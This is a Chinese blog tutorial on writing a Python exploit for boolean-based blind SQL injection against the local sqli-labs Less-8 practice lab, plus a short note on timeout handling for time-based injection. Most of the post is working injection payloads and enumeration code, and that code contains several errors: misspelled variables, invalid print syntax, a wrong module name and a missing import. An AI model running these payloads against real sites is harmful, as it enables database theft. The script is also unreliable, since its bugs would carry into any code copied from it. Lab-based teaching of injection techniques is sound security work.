ctf-使用python进行sql布尔盲注exp的编写

exp编写

  • poc:验证漏洞是否存在的程序
  • exp:利用exp能够实现漏洞的利用价值

sql注入

本篇需要了解sql注入的原理再食用

布尔盲注

人工布尔盲注可以通过页面的返回界面不同来辨别and拼接的内容真或假,如果是用程序判别,可以根据返回包的长度不同和对返回内容进行正则匹配

如sqli-labs的less-8:

#!/usr/bin/python
database_name = ''
import requests
url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
def exp(payload_url):
	rep = requests.get(payload_url)#将payload进行get请求
	rep_len = len(rep.text)#返回包长度
	return rep_len
if __name__ == "__main__":
	normal_rep = requests.get(url)
	normal_len = len(normal_rep.text)
	for i in range(1,20):
		length_payload = "\' and length(database())="+str(i)+"%23"#在id=1后面添加and判断数据库名长度,布尔盲注的流程
		payload_url = url+length_payload
		result_len = exp(payoad_url)
		if(resulet_len == normal_len):#判断当数据库长度正确时,返回包的长度和正常(也就是if为真的正确界面)时的返回包不同
			print "The database length is %d".% i
			break
		exp(payload_url)

上述python脚本只判断了数据库的长度,后面的流程应该是分割字符在ascii字符中进行逐个验证得到数据库名。那在main函数内再加一个if验证函数
如下:


for x in range(1,i+1):#i为前面测出来的数据库长度
	for y in  string.ascii_lowercase:
		char_payload = "\' and substr(database(),"+str(x)+",1)=\''"+y+"\'%23"#盲注测数据库名的流程
		payload_url = url+char_payload
		result_len = exp(payload_url)
		if(result_len == normal_len):
			database_name += y#对正确y的字符进行拼接
			print "The database name is %s" % database_name
			break

py脚本验证sql数据库名后续的查表个数,表长度,表名就不列举了

可以看到py脚本写sql盲注只需要多一个Get请求函数和枚举对照就行了。

时间盲注

需要用到python的try···except···来判断if(sleep)的响应情况。而python内有一个调试函数

Exception:用在except里,表示常规错误的基类

所以在请求函数里加一个判断异常

def timeOut(url):
	try:
		res = request.get(url,timeout=3)#timeout>3则exception触发
		return res.text
	except Exception as e:
		return "timeout"

posted on   小丑首长  阅读(251)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示